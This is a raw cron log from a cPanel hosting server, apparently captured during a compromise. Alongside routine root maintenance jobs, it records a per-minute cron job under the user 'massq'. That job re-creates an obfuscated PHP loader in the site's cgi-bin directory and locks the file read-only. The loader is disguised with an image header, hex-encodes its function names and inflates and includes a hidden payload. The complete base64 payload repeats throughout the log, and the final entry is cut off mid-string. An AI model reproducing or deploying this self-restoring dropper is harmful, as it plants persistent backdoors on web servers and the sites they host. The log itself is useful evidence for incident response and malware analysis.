Aug 30 19:53:01 server CROND[3079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:53:01 server CROND[3080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:53:01 server CROND[3081]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:54:01 server CROND[3452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:54:01 server CROND[3453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:54:01 server CROND[3454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:55:01 server CROND[3847]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:55:01 server CROND[3848]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 19:55:01 server CROND[3847]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:55:01 server CROND[3848]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 19:55:01 server CROND[3853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:55:01 server CROND[3851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:55:01 server CROND[3847]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:55:01 server CROND[3848]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 19:55:01 server CROND[3853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:55:01 server CROND[3851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:55:01 server CROND[3852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:55:01 server CROND[3856]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 19:55:01 server CROND[3858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:56:01 server CROND[4794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:56:01 server CROND[4795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:56:01 server CROND[4796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:57:01 server CROND[5194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:57:01 server CROND[5197]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 19:57:01 server CROND[5196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:57:01 server CROND[5195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:58:01 server CROND[5585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:58:01 server CROND[5586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:58:01 server CROND[5587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:59:01 server CROND[5978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:59:01 server CROND[5980]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:59:01 server CROND[5979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:00:01 server CROND[6378]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 20:00:01 server CROND[6381]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:00:01 server CROND[6380]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 20:00:01 server CROND[6387]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 20:00:01 server CROND[6394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:00:01 server CROND[6388]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 20:00:01 server CROND[6389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:00:01 server CROND[6386]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:00:01 server CROND[6392]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 20:00:01 server CROND[6393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:01:01 server CROND[7342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:01:01 server CROND[7344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:01:01 server CROND[7345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:01:01 server CROND[7346]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 20:01:01 server run-parts(/etc/cron.hourly)[7346]: starting 0anacron
Aug 30 20:01:01 server run-parts(/etc/cron.hourly)[7363]: finished 0anacron
Aug 30 20:02:01 server CROND[7736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:02:01 server CROND[7737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:02:01 server CROND[7738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:03:01 server CROND[8124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:03:01 server CROND[8125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:03:01 server CROND[8126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:04:01 server CROND[8508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCj